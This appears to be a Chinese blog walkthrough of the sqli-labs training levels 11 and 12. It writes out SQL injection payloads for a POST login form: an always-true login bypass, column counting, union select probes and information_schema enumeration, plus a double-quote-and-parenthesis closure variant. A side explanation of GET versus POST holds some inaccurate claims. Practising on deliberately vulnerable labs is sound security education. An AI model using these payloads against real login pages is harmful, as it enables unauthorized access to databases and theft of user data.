sqli-labs(11-12)

文章详细介绍了如何通过字符型注入攻破登录页面,利用万能密码和SQL查询技巧探测数据库信息,包括GET和POST请求的区别,以及在POST请求中的安全考量。通过对不同闭合符号的测试,揭示了数据库结构和数据,展示了SQL注入攻击的过程。

第十一关

我们打开页面之后发现是一个登录的页面

我们先尝试一下万能密码

admin

1‘ or 1=1#

 

我们可以查看一下他是不是字符型注入

admin

1’

 是字符型注入,单引号的字符型注入

我们可以登录成功,但是我们会发现这道题与前面的不一样,这道题是post请求的方式,因为我们没有在地址栏 里看到传入的参数

get和post的区别

GET和POST是HTTP请求的两种基本方法,还有PUT,DELETE,分别对应的是查,改,增,删

GET和POST本质上都是TCP链接

GET产生一个TCP数据包;POST产生两个TCP数据包

规范中get是用来获取信息的,而post是用来传递实体的

get请求的参数要放在url上,post请求的参数要放在请求的正文

GET请求只能进行url编码,而POST支持多种编码方式。

GET只接受ASCII字符,而POST没有限制。大小上也有限制post大于get,url有限制

post要比get安全性高一点,因为用get方法提交数据时,用户名和密码将出现在URL上,页面也可以被其他人访问,而post是放在HTTP包的body中,具有一定的隐蔽性。

所以我们就会看到这道题没有在url上显示我们输入的用户名密码,所以是post请求

然后我们查看字段数

admin

1' order by 2#

 1' order by 3#

 我们就可以看出只有俩个字段

我们接着查看它的显示位

admin

1' union select 1,2#

 我们就可判断库名

admin

1' union select 1,database()#

 判断表名

admin

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

 查出有四张表,我们还是从第一张查起,接着查列名

admin

1'union select 1,group_concat(column_name) from information_schema.columns where table_name='emails'#

 我们可以看出其中的列名是id,我们接着查数据

admin

1' union select 1,id from emails#

 就可以看到我们想要的内容

第十二关

我们接着打开题目也是一个登录页面

我们也是先上万能密码

admin

1' or 1=1#

 看看是不是字符型注入

admin

1’      或者是其它的,发现1'是不对的,然后接着试1"

 我们就可以看出有双引号和括号   ")

然后我们就")闭合

1") union select 1,database()#

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

1")union select 1,group_concat(column_name) from information_schema.columns where table_name='emails'#

1")union select 1,id from emails#

和上一关差不多只是闭合的符号不一样

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值